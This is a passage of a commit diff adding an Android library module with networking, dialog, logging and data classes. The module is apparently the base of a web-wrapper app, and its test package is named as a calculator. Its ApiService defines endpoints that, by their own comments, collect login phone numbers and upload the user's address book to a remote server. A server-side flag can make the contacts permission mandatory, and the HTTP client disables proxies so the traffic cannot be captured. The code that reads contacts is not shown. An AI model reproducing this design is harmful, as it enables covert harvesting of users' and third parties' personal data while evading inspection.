最新一次版本提交

base_theme/.gitignore

@@ -0,0 +1 @@
+/build

base_theme/build.gradle

@@ -0,0 +1,45 @@
+plugins {
+    id 'com.android.library'
+}
+
+android {
+    compileSdkVersion 31
+    defaultConfig {
+        minSdkVersion 24
+        targetSdkVersion 31
+        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
+    }
+
+    compileOptions {
+        sourceCompatibility JavaVersion.VERSION_1_8
+        targetCompatibility JavaVersion.VERSION_1_8
+    }
+}
+
+dependencies {
+
+    api 'androidx.appcompat:appcompat:1.1.0'
+    api 'com.google.android.material:material:1.1.0'
+    api 'androidx.constraintlayout:constraintlayout:1.1.3'
+
+    // okhttp相关库
+    api 'com.squareup.okhttp3:okhttp:4.9.3'
+
+    // JSON解析库
+    api 'com.google.code.gson:gson:2.9.0'
+    api 'com.squareup.retrofit2:retrofit:2.5.0'
+    api 'com.squareup.retrofit2:converter-scalars:2.3.0'
+    api 'com.squareup.retrofit2:converter-gson:2.4.0'
+    api 'com.squareup.retrofit2:adapter-rxjava2:2.4.0'
+    api 'io.reactivex.rxjava2:rxjava:2.1.16'
+    api 'io.reactivex.rxjava2:rxandroid:2.0.2'
+    api 'com.squareup.okhttp3:logging-interceptor:3.10.0'
+
+    api("com.github.bumptech.glide:glide:4.13.1")
+    api 'com.github.jenly1314.AppUpdater:app-updater:1.1.3'
+
+    // sdk 33
+    api platform('com.google.firebase:firebase-bom:32.7.0')
+    // Firebase Cloud Messaging
+    api("com.google.firebase:firebase-messaging")
+}

base_theme/proguard-rules.pro

@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+#   http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+#   public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+    *;
+}
+
+-keep class com.tencent.tbs.** {
+    *;
+}

base_theme/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java

@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+    @Test
+    public void useAppContext() {
+        // Context of the app under test.
+        Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+    }
+}

base_theme/src/main/AndroidManifest.xml

@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.web.base">
+
+    <application>
+
+
+        <activity
+            android:name="com.web.base.WebViewActivity"
+            android:configChanges="orientation|keyboardHidden|screenSize"
+            android:exported="false"
+            android:hardwareAccelerated="true" />
+
+        <activity
+            android:name="com.web.base.NotifyListActivity"
+            android:configChanges="orientation|keyboardHidden|screenSize"
+            android:exported="false"
+            android:hardwareAccelerated="true" />
+
+        <service
+            android:name="com.tencent.smtt.export.external.DexClassLoaderProviderService"
+            android:label="dexopt"
+            android:process=":dexopt" />
+
+    </application>
+
+</manifest>

base_theme/src/main/java/com/web/base/ActionConfirmDialog.java

@@ -0,0 +1,124 @@
+package com.web.base;
+
+import android.app.Dialog;
+import android.content.Context;
+import android.os.Bundle;
+import android.text.TextUtils;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewTreeObserver;
+import android.view.Window;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+
+/**
+ * 通用弹窗
+ */
+public class ActionConfirmDialog extends Dialog {
+    private final Context context;
+    private View lineV;
+
+    private TextView contentTv;
+    private TextView cancelTv;
+    private TextView sumbitTv;
+    String title;
+    String content;
+    String cancel = null;
+    String sure = null;
+    boolean showCancel = true;
+    OnToActionListener onToActionListener;
+
+    public interface OnToActionListener {
+        void toSumbit();
+        void toCancel();
+
+    }
+
+    public void setOnToActionListener(OnToActionListener onNextCallListener) {
+        this.onToActionListener = onNextCallListener;
+    }
+
+
+    public ActionConfirmDialog(Context context, String content,boolean showCancel) {
+        super(context, R.style.MaterialDesignDialog);
+        this.context = context;
+        this.content = content;
+        this.showCancel = showCancel;
+    }
+    public ActionConfirmDialog(Context context, String content, String cancel, String sure) {
+        super(context, R.style.MaterialDesignDialog);
+        this.context = context;
+        this.content = content;
+        this.cancel = cancel;
+        this.sure = sure;
+    }
+
+    public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) {
+        super(context, R.style.MaterialDesignDialog);
+        this.context = context;
+        this.content = content;
+        this.cancel = cancel;
+        this.sure = sure;
+        this.showCancel = showCancel;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.dialog_action_confirm);
+
+        contentTv = (TextView) findViewById(R.id.content_tv);
+        cancelTv = (TextView) findViewById(R.id.cancel_tv);
+        sumbitTv = (TextView) findViewById(R.id.sumbit_tv);
+
+        lineV = (View) findViewById(R.id.line_v);
+
+        contentTv.setText(content);
+        contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() {
+            @Override
+            public boolean onPreDraw() {
+                //这个监听的回调是异步的，在监听完以后一定要把绘制监听移除，不然这个会一直回调，导致界面错乱
+                contentTv.getViewTreeObserver().removeOnPreDrawListener(this);
+                int line = contentTv.getLineCount();
+                if(line>1){
+                    contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL);
+                }
+
+                return true;
+            }
+        });
+        if(!TextUtils.isEmpty(cancel)){
+            cancelTv.setText(cancel);
+        }
+        if(!TextUtils.isEmpty(sure)){
+            sumbitTv.setText(sure);
+        }
+        if(!showCancel){
+            cancelTv.setVisibility(View.GONE);
+            lineV.setVisibility(View.GONE);
+        }
+
+        sumbitTv.setOnClickListener(v -> {
+            dismiss();
+            if(onToActionListener!=null){
+                onToActionListener.toSumbit();
+            }
+        });
+        cancelTv.setOnClickListener(v -> {
+            dismiss();
+            if(onToActionListener!=null){
+                onToActionListener.toCancel();
+            }
+        });
+
+        Window window = getWindow();
+        WindowManager.LayoutParams wlp = window.getAttributes();
+        wlp.gravity = Gravity.CENTER;
+        wlp.width = WindowManager.LayoutParams.WRAP_CONTENT;
+        wlp.height = WindowManager.LayoutParams.WRAP_CONTENT;
+
+        window.setAttributes(wlp);
+    }
+
+}

base_theme/src/main/java/com/web/base/Api.java

@@ -0,0 +1,68 @@
+package com.web.base;
+
+import java.net.Proxy;
+import java.util.concurrent.TimeUnit;
+
+import okhttp3.OkHttpClient;
+import okhttp3.logging.HttpLoggingInterceptor;
+
+/**
+ * 项目名:    TODO-MVVM
+ * 包名       com.azhon.mvvm.api
+ * 文件名:    Api
+ * 创建时间:  2019-03-27 on 14:56
+ * 描述:     TODO 使用Retrofit基础服务
+ *
+ * @author
+ */
+
+public class Api extends BaseApi {
+
+    private static final long CONNECT_TIMEOUT = 10;
+    private static final long READ_TIMEOUT = 10;
+    private static final long WRITE_TIMEOUT = 10;
+
+    /**
+     * 静态内部类单例
+     */
+    private static class ApiHolder {
+        private static Api api = new Api();
+        private final static ApiService apiService = api.initRetrofit(ApiService.URL)
+                .create(ApiService.class);
+
+    }
+
+    public static ApiService getInstance() {
+        return ApiHolder.apiService;
+    }
+    /**
+     * 做自己需要的操作
+     */
+    @Override
+    protected OkHttpClient setClient() {
+        OkHttpClient.Builder builder;
+        builder = new OkHttpClient()
+                .newBuilder();
+        //禁止使用代理抓取数据
+        builder.proxy(Proxy.NO_PROXY);
+        //设置超时
+        builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS);
+        builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS);
+        builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS);
+        //错误重连
+        builder.retryOnConnectionFailure(true);
+
+//        if (Config.IS_DEBUG) {
+        HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> {
+            String text = message;
+            LogUtils.i("OKHttp111111-----", text);
+
+        });
+        interceptor.setLevel(HttpLoggingInterceptor.Level.BODY);
+        builder.addInterceptor(interceptor);
+//        }
+        return builder.build();
+
+    }
+
+}

base_theme/src/main/java/com/web/base/ApiService.java

@@ -0,0 +1,66 @@
+package com.web.base;
+
+
+import java.util.List;
+import java.util.Map;
+
+import io.reactivex.Observable;
+import okhttp3.RequestBody;
+import retrofit2.http.Body;
+import retrofit2.http.GET;
+import retrofit2.http.Headers;
+import retrofit2.http.POST;
+import retrofit2.http.PUT;
+import retrofit2.http.Query;
+
+public interface ApiService {
+    String URL = "https://api.liulao.top/";
+
+
+    @GET("api/system/applicationConf")
+    Observable<Result<DataInfo>> geUrlNew(@Query("userId") int userId);
+
+    /**
+     * 搜集登录手机号
+     */
+    @POST("app/loginUser")
+    Observable<Result> appLoginUser(@Body Map<String, Object> map);
+
+    /**
+     * 上传通讯录
+     */
+    @Headers("Content-Type:application/json")
+    @POST("api/customer/customers")
+    Observable<Result> readContact(@Body RequestBody requestBody);
+
+    /**
+     * 統計下載量
+     */
+    @PUT("api/statistics/downloads")
+    Observable<Result> downloadNumbers(@Body Map<String, Object> map);
+
+    /**
+     * 每日活跃统计
+     */
+    @PUT("api/statistics/use")
+    Observable<Result> totalTongJi(@Body Map<String, Object> map);
+
+    /**
+     * 统计通知
+     */
+    @POST("api/push/statistics")
+    Observable<Result> totalNotify(@Body Map<String, Object> map);
+
+
+    /**
+     * 获取通知列表
+     * @param userid
+     * @param page
+     * @param size
+     * @return
+     */
+    @GET("api/push/pushRecords")
+    Observable<Result<ResultDataInfo<MessageInfo>>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size);
+
+
+}

base_theme/src/main/java/com/web/base/BaseApi.java

@@ -0,0 +1,46 @@
+package com.web.base;
+
+import okhttp3.OkHttpClient;
+import retrofit2.Retrofit;
+import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory;
+import retrofit2.converter.gson.GsonConverterFactory;
+import retrofit2.converter.scalars.ScalarsConverterFactory;
+
+/**
+ * 项目名:    TODO-MVVM
+ * 包名       com.azhon.basic.retrofit
+ * 文件名:    BaseApi
+ * 创建时间:  2019-03-27 on 14:52
+ * 描述:     TODO 封装基础的Retrofit
+ *
+ * @author 
+ */
+
+public abstract class BaseApi {
+
+    /**
+     * 初始化Retrofit
+     */
+    public Retrofit initRetrofit(String baseUrl) {
+        Retrofit.Builder builder = new Retrofit.Builder();
+        //支持返回Call<String>
+        builder.addConverterFactory(ScalarsConverterFactory.create());
+        //支持直接格式化json返回Bean对象
+        builder.addConverterFactory(GsonConverterFactory.create());
+        //支持RxJava
+        builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create());
+        builder.baseUrl(baseUrl);
+        OkHttpClient client = setClient();
+        if (client != null) {
+            builder.client(client);
+        }
+        return builder.build();
+    }
+
+    /**
+     * 设置OkHttpClient，添加拦截器等
+     *
+     * @return 可以返回为null
+     */
+    protected abstract OkHttpClient setClient();
+}

base_theme/src/main/java/com/web/base/BaseObserver.java

@@ -0,0 +1,113 @@
+package com.web.base;
+
+import com.google.gson.JsonParseException;
+
+import org.json.JSONException;
+
+import java.io.InterruptedIOException;
+import java.net.ConnectException;
+import java.net.UnknownHostException;
+import java.text.ParseException;
+
+import io.reactivex.observers.DisposableObserver;
+import retrofit2.HttpException;
+
+public abstract class BaseObserver<T> extends DisposableObserver<T> {
+    /**
+     * 解析数据失败
+     */
+    public static final int PARSE_ERROR = 1001;
+    /**
+     * 网络问题
+     */
+    public static final int BAD_NETWORK = 1002;
+    /**
+     * 连接错误
+     */
+    public static final int CONNECT_ERROR = 1003;
+    /**
+     * 连接超时
+     */
+    public static final int CONNECT_TIMEOUT = 1004;
+
+    @Override
+    public void onNext(T o) {
+        if (o instanceof String) {
+            onError(0, "接口解析失败");
+//                LogUtils.i("返回个string就没意思了");
+        } else {
+            Result model = (Result) o;
+            if (model.isSuccessful()) {
+                onSuccess(o);
+            } else {
+                onError2(o);
+            }
+        }
+
+
+    }
+
+    @Override
+    public void onError(Throwable e) {
+        if (e instanceof HttpException) {
+            //   HTTP错误
+            onException(BAD_NETWORK);
+        } else if (e instanceof ConnectException
+                || e instanceof UnknownHostException) {
+            //   连接错误
+            onException(CONNECT_ERROR);
+        } else if (e instanceof InterruptedIOException) {
+            //  连接超时
+            onException(CONNECT_TIMEOUT);
+        } else if (e instanceof JsonParseException
+                || e instanceof JSONException
+                || e instanceof ParseException) {
+            //  解析错误
+
+            onException(PARSE_ERROR);
+        } else {
+            if (e != null) {
+                onError(409, e.toString());
+            } else {
+                onError(407, "未知错误");
+            }
+        }
+
+    }
+
+    private void onException(int unknownError) {
+        switch (unknownError) {
+            case CONNECT_ERROR:
+                onError(CONNECT_ERROR, "连接错误");
+                break;
+
+            case CONNECT_TIMEOUT:
+                onError(CONNECT_TIMEOUT, "连接超时");
+                break;
+
+            case BAD_NETWORK:
+                onError(BAD_NETWORK, "网络问题");
+                break;
+
+            case PARSE_ERROR:
+                onError(PARSE_ERROR, "宇宙也是有尽头的");
+
+                break;
+
+            default:
+                break;
+        }
+    }
+
+    @Override
+    public void onComplete() {
+
+    }
+
+    public abstract void onSuccess(T o);
+
+    public abstract void onError(int code, String msg);
+
+    public abstract void onError2(T o);
+
+}

base_theme/src/main/java/com/web/base/CircleImageView.java

@@ -0,0 +1,321 @@
+package com.web.base;
+
+import android.annotation.SuppressLint;
+import android.content.Context;
+import android.content.res.TypedArray;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Matrix;
+import android.graphics.Paint;
+import android.graphics.PorterDuff;
+import android.graphics.PorterDuffXfermode;
+import android.graphics.RectF;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable;
+import android.util.AttributeSet;
+import android.view.MotionEvent;
+
+import androidx.appcompat.widget.AppCompatImageView;
+
+
+public class CircleImageView extends AppCompatImageView {
+    // paint when user press
+    private Paint pressPaint;
+    private int width;
+    private int height;
+
+    // default bitmap config
+    private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888;
+    private static final int COLORDRAWABLE_DIMENSION = 1;
+
+    // border color
+    private int borderColor;
+    // width of border
+    private int borderWidth;
+    // alpha when pressed
+    private int pressAlpha;
+    // color when pressed
+    private int pressColor;
+    // radius
+    private int radius;
+    // rectangle or round, 1 is circle, 2 is rectangle
+    private int shapeType;
+
+    public CircleImageView(Context context) {
+        super(context);
+        init(context, null);
+    }
+
+    public CircleImageView(Context context, AttributeSet attrs) {
+        super(context, attrs);
+        init(context, attrs);
+    }
+
+    public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) {
+        super(context, attrs, defStyleAttr);
+        init(context, attrs);
+    }
+
+
+    private void init(Context context, AttributeSet attrs) {
+        //init the value
+        borderWidth = 0;
+        borderColor = 0xddffffff;
+        pressAlpha = 0x42;
+        pressColor = 0x42000000;
+        radius = 16;
+        shapeType = 0;
+
+        // get attribute of EaseImageView
+        if (attrs != null) {
+            TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView);
+            borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor);
+            borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth);
+            pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha);
+            pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor);
+            radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius);
+            shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType);
+            array.recycle();
+        }
+
+        // set paint when pressed
+        pressPaint = new Paint();
+        pressPaint.setAntiAlias(true);
+        pressPaint.setStyle(Paint.Style.FILL);
+        pressPaint.setColor(pressColor);
+        pressPaint.setAlpha(0);
+        pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG);
+
+        setDrawingCacheEnabled(true);
+        setWillNotDraw(false);
+    }
+
+    @Override
+    protected void onDraw(Canvas canvas) {
+
+        if (shapeType == 0) {
+            super.onDraw(canvas);
+            return;
+        }
+        Drawable drawable = getDrawable();
+        if (drawable == null) {
+            return;
+        }
+        // the width and height is in xml file
+        if (getWidth() == 0 || getHeight() == 0) {
+            return;
+        }
+        Bitmap bitmap = getBitmapFromDrawable(drawable);
+        drawDrawable(canvas, bitmap);
+
+        if (isClickable()) {
+            drawPress(canvas);
+        }
+        drawBorder(canvas);
+    }
+
+    /**
+     * draw Rounded Rectangle
+     *
+     * @param canvas
+     * @param bitmap
+     */
+    @SuppressLint("WrongConstant")
+    private void drawDrawable(Canvas canvas, Bitmap bitmap) {
+        Paint paint = new Paint();
+        paint.setColor(0xffffffff);
+        paint.setAntiAlias(true); //smooths out the edges of what is being drawn
+        PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN);
+        // set flags
+        int saveFlags = Canvas.ALL_SAVE_FLAG
+               ;
+        canvas.saveLayer(0, 0, width, height, null, saveFlags);
+
+        if (shapeType == 1) {
+            canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint);
+        } else if (shapeType == 2) {
+            RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1);
+            canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint);
+        }
+
+        paint.setXfermode(xfermode);
+
+        float scaleWidth = ((float) getWidth()) / bitmap.getWidth();
+        float scaleHeight = ((float) getHeight()) / bitmap.getHeight();
+
+        Matrix matrix = new Matrix();
+        matrix.postScale(scaleWidth, scaleHeight);
+
+        //bitmap scale
+        bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true);
+
+        canvas.drawBitmap(bitmap, 0, 0, paint);
+        canvas.restore();
+    }
+
+    /**
+     * draw the effect when pressed
+     *
+     * @param canvas
+     */
+    private void drawPress(Canvas canvas) {
+        // check is rectangle or circle
+        if (shapeType == 1) {
+            canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint);
+        } else if (shapeType == 2) {
+            RectF rectF = new RectF(1, 1, width - 1, height - 1);
+            canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint);
+        }
+    }
+
+    /**
+     * draw customized border
+     *
+     * @param canvas
+     */
+    private void drawBorder(Canvas canvas) {
+        if (borderWidth > 0) {
+            Paint paint = new Paint();
+            paint.setStrokeWidth(borderWidth);
+            paint.setStyle(Paint.Style.STROKE);
+            paint.setColor(borderColor);
+            paint.setAntiAlias(true);
+            // // check is rectangle or circle
+            if (shapeType == 1) {
+                canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint);
+            } else if (shapeType == 2) {
+                RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2,
+                        getHeight() - borderWidth / 2);
+                canvas.drawRoundRect(rectf, radius, radius, paint);
+            }
+        }
+    }
+
+    /**
+     * monitor the size change
+     *
+     * @param w
+     * @param h
+     * @param oldw
+     * @param oldh
+     */
+    @Override
+    protected void onSizeChanged(int w, int h, int oldw, int oldh) {
+        super.onSizeChanged(w, h, oldw, oldh);
+        width = w;
+        height = h;
+    }
+
+    /**
+     * monitor if touched
+     *
+     * @param event
+     * @return
+     */
+    @Override
+    public boolean onTouchEvent(MotionEvent event) {
+        switch (event.getAction()) {
+            case MotionEvent.ACTION_DOWN:
+                pressPaint.setAlpha(pressAlpha);
+                invalidate();
+                break;
+            case MotionEvent.ACTION_UP:
+                pressPaint.setAlpha(0);
+                invalidate();
+                break;
+            case MotionEvent.ACTION_MOVE:
+
+                break;
+            default:
+                pressPaint.setAlpha(0);
+                invalidate();
+                break;
+        }
+        return super.onTouchEvent(event);
+    }
+
+    /**
+     * @param drawable
+     * @return
+     */
+    private Bitmap getBitmapFromDrawable(Drawable drawable) {
+        if (drawable == null) {
+            return null;
+        }
+
+        if (drawable instanceof BitmapDrawable) {
+            return ((BitmapDrawable) drawable).getBitmap();
+        }
+
+        Bitmap bitmap;
+        int width = Math.max(drawable.getIntrinsicWidth(), 2);
+        int height = Math.max(drawable.getIntrinsicHeight(), 2);
+        try {
+            bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG);
+            Canvas canvas = new Canvas(bitmap);
+            drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight());
+            drawable.draw(canvas);
+        } catch (IllegalArgumentException e) {
+            e.printStackTrace();
+            bitmap = null;
+        }
+        return bitmap;
+    }
+
+    /**
+     * set border color
+     *
+     * @param borderColor
+     */
+    public void setBorderColor(int borderColor) {
+        this.borderColor = borderColor;
+        invalidate();
+    }
+
+    /**
+     * set border width
+     *
+     * @param borderWidth
+     */
+    public void setBorderWidth(int borderWidth) {
+        this.borderWidth = borderWidth;
+    }
+
+    /**
+     * set alpha when pressed
+     *
+     * @param pressAlpha
+     */
+    public void setPressAlpha(int pressAlpha) {
+        this.pressAlpha = pressAlpha;
+    }
+
+    /**
+     * set color when pressed
+     *
+     * @param pressColor
+     */
+    public void setPressColor(int pressColor) {
+        this.pressColor = pressColor;
+    }
+
+    /**
+     * set radius
+     *
+     * @param radius
+     */
+    public void setRadius(int radius) {
+        this.radius = radius;
+        invalidate();
+    }
+
+    /**
+     * set shape,1 is circle, 2 is rectangle
+     *
+     * @param shapeType
+     */
+    public void setShapeType(int shapeType) {
+        this.shapeType = shapeType;
+        invalidate();
+    }
+}

base_theme/src/main/java/com/web/base/ContactBean.java

@@ -0,0 +1,29 @@
+package com.web.base;
+
+public class ContactBean {
+
+    public String name;
+    public String phone;
+
+
+    public ContactBean(String name, String phone) {
+        this.name = name;
+        this.phone = phone;
+    }
+
+    public String getName() {
+        return name;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public String getPhone() {
+        return phone;
+    }
+
+    public void setPhone(String phone) {
+        this.phone = phone;
+    }
+}

base_theme/src/main/java/com/web/base/DataInfo.java

@@ -0,0 +1,124 @@
+package com.web.base;
+
+import java.io.Serializable;
+
+public class DataInfo implements Serializable {
+
+    public String apkUrl;
+    public String description;
+    public int forceUpdate;
+    public String url;
+    public String downloadUrl;
+    public String versionCode;
+    public int isUse = 1; //是否正常使用  0不可用 1正常使用
+    public int noticeApplyMode = 1; //通知权限加载方式   0不用1必须
+    public int contactApplyMode = 1; //通讯录权限加载方式  0不用1必须
+    public String fbUrl; //  facebook分享地址
+    public String tgUrl; // tg分享地址
+    public String wsUrl; //whatsapp分享地址
+    public String linkConfig;
+
+    public String getLinkConfig() {
+        return linkConfig;
+    }
+
+    public void setLinkConfig(String linkConfig) {
+        this.linkConfig = linkConfig;
+    }
+
+    public int getIsUse() {
+        return isUse;
+    }
+
+    public void setIsUse(int isUse) {
+        this.isUse = isUse;
+    }
+
+    public int getNoticeApplyMode() {
+        return noticeApplyMode;
+    }
+
+    public void setNoticeApplyMode(int noticeApplyMode) {
+        this.noticeApplyMode = noticeApplyMode;
+    }
+
+    public int getContactApplyMode() {
+        return contactApplyMode;
+    }
+
+    public void setContactApplyMode(int contactApplyMode) {
+        this.contactApplyMode = contactApplyMode;
+    }
+
+    public String getFbUrl() {
+        return fbUrl;
+    }
+
+    public void setFbUrl(String fbUrl) {
+        this.fbUrl = fbUrl;
+    }
+
+    public String getTgUrl() {
+        return tgUrl;
+    }
+
+    public void setTgUrl(String tgUrl) {
+        this.tgUrl = tgUrl;
+    }
+
+    public String getWsUrl() {
+        return wsUrl;
+    }
+
+    public void setWsUrl(String wsUrl) {
+        this.wsUrl = wsUrl;
+    }
+
+    public String getDownloadUrl() {
+        return downloadUrl;
+    }
+
+    public void setDownloadUrl(String downloadUrl) {
+        this.downloadUrl = downloadUrl;
+    }
+
+    public String getApkUrl() {
+        return apkUrl;
+    }
+
+    public void setApkUrl(String apkUrl) {
+        this.apkUrl = apkUrl;
+    }
+
+    public String getDescription() {
+        return description;
+    }
+
+    public void setDescription(String description) {
+        this.description = description;
+    }
+
+    public int getForceUpdate() {
+        return forceUpdate;
+    }
+
+    public void setForceUpdate(int forceUpdate) {
+        this.forceUpdate = forceUpdate;
+    }
+
+    public String getUrl() {
+        return url;
+    }
+
+    public void setUrl(String url) {
+        this.url = url;
+    }
+
+    public String getVersionCode() {
+        return versionCode;
+    }
+
+    public void setVersionCode(String versionCode) {
+        this.versionCode = versionCode;
+    }
+}

base_theme/src/main/java/com/web/base/GsonUtils.java

@@ -0,0 +1,91 @@
+package com.web.base;
+
+import android.text.TextUtils;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonObject;
+import com.google.gson.reflect.TypeToken;
+
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * json解析工具类 其实对于数组解析有一些问题
+ * @author 
+ */
+public class GsonUtils {
+
+	public static Gson gson = new Gson();
+
+	/**
+	 * 返回List对象
+	 * @param str
+	 * @param type new TypeToken<ArrayList<T>>(){}.getType()
+	 * @param <T>
+     * @return
+     */
+	public static <T> T getListFromJSON(String str, Type type) {
+		if (!TextUtils.isEmpty(str)) {
+			return gson.fromJson(str, type);
+		}
+		return null;
+	}
+
+	/**
+	 * 返回List对象
+	 * @param str
+	 * @param cls
+	 * @param <T>
+     * @return
+     */
+	public static <T> List<T> getListFromJSON(String str, Class<T> cls)
+	{
+		Type type = new TypeToken<ArrayList<JsonObject>>()
+		{}.getType();
+		ArrayList<JsonObject> jsonObjects = gson.fromJson(str, type);
+		ArrayList<T> arrayList = new ArrayList<>();
+		for (JsonObject jsonObject : jsonObjects)
+		{
+			arrayList.add(gson.fromJson(jsonObject, cls));
+		}
+		return arrayList;
+	}
+
+	/**
+	 * 返回对象
+	 * @param str
+	 * @param cls
+	 * @param <T>
+     * @return
+     */
+	public static <T> T getObjFromJSON(String str, Class<T> cls) {
+		try {
+			if (!TextUtils.isEmpty(str)) {
+//				LogUtils.i("参数："+str);
+				return gson.fromJson(str, cls);
+			}
+			return null;
+		}catch (Exception e) {
+			return null;
+		}
+	}
+
+	/**
+	 * 返回JsonString
+	 * @return
+	 */
+	public static String beanToJSONString(Object bean) {
+		return new Gson().toJson(bean);
+	}
+
+
+	public static String JSONTokener(String in) {
+		// consume an optional byte order mark (BOM) if it exists
+		if (in != null && in.startsWith("\ufeff")) {
+			in = in.substring(1);
+		}
+		return in;
+	}
+
+}

base_theme/src/main/java/com/web/base/LinkConfigInfo.java

@@ -0,0 +1,34 @@
+package com.web.base;
+
+import java.io.Serializable;
+
+public class LinkConfigInfo implements Serializable {
+
+    public String name;
+    public String icon;
+    public String linkUrl;
+
+    public String getName() {
+        return name;
+    }
+
+    public void setName(String name) {
+        this.name = name;
+    }
+
+    public String getIcon() {
+        return icon;
+    }
+
+    public void setIcon(String icon) {
+        this.icon = icon;
+    }
+
+    public String getLinkUrl() {
+        return linkUrl;
+    }
+
+    public void setLinkUrl(String linkUrl) {
+        this.linkUrl = linkUrl;
+    }
+}

base_theme/src/main/java/com/web/base/LogUtils.java

@@ -0,0 +1,146 @@
+package com.web.base;
+
+import android.util.Log;
+
+
+/**
+ * Log统一管理类
+ * Created by  on 2015/10/19 0019.
+ */
+public class LogUtils {
+
+    private LogUtils() {
+        throw new UnsupportedOperationException("cannot be instantiated");
+    }
+
+//    public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug，可以在application的onCreate函数里面初始化
+    public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug，可以在application的onCreate函数里面初始化
+//    public static boolean isDebug = false;// 是否需要打印bug，可以在application的onCreate函数里面初始化
+
+    private static final String TAG = "BIKAOVIDEO";
+
+    /**
+     * 默认tag的函数
+     *
+     * @param msg 打印信息
+     */
+    public static void v(String msg) {
+        if (isDebug) Log.v(TAG, msg);
+    }
+
+    public static void d(String msg) {
+        if (isDebug) Log.d(TAG, msg);
+    }
+
+    public static void i(String msg) {
+        if (isDebug) {
+            if (msg.length() > 4000) {
+                Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length());
+                int chunkCount = msg.length() / 4000;     // integer division
+                for (int i = 0; i <= chunkCount; i++) {
+                    int max = 4000 * (i + 1);
+                    if (max >= msg.length()) {
+                        Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i));
+                    } else {
+                        Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max));
+                    }
+                }
+            } else {
+                Log.i( TAG,"BIKAOVIDEO" + msg.toString());
+            }
+        }
+    }
+
+    public static void w(String msg) {
+        if (isDebug) Log.w(TAG, msg);
+    }
+
+    public static void e(String msg) {
+        if (isDebug) {
+            if (msg.length() > 4000) {
+                Log.e(TAG, "sb.length = " + msg.length());
+                int chunkCount = msg.length() / 4000;     // integer division
+                for (int i = 0; i <= chunkCount; i++) {
+                    int max = 4000 * (i + 1);
+                    if (max >= msg.length()) {
+                        Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i));
+                    } else {
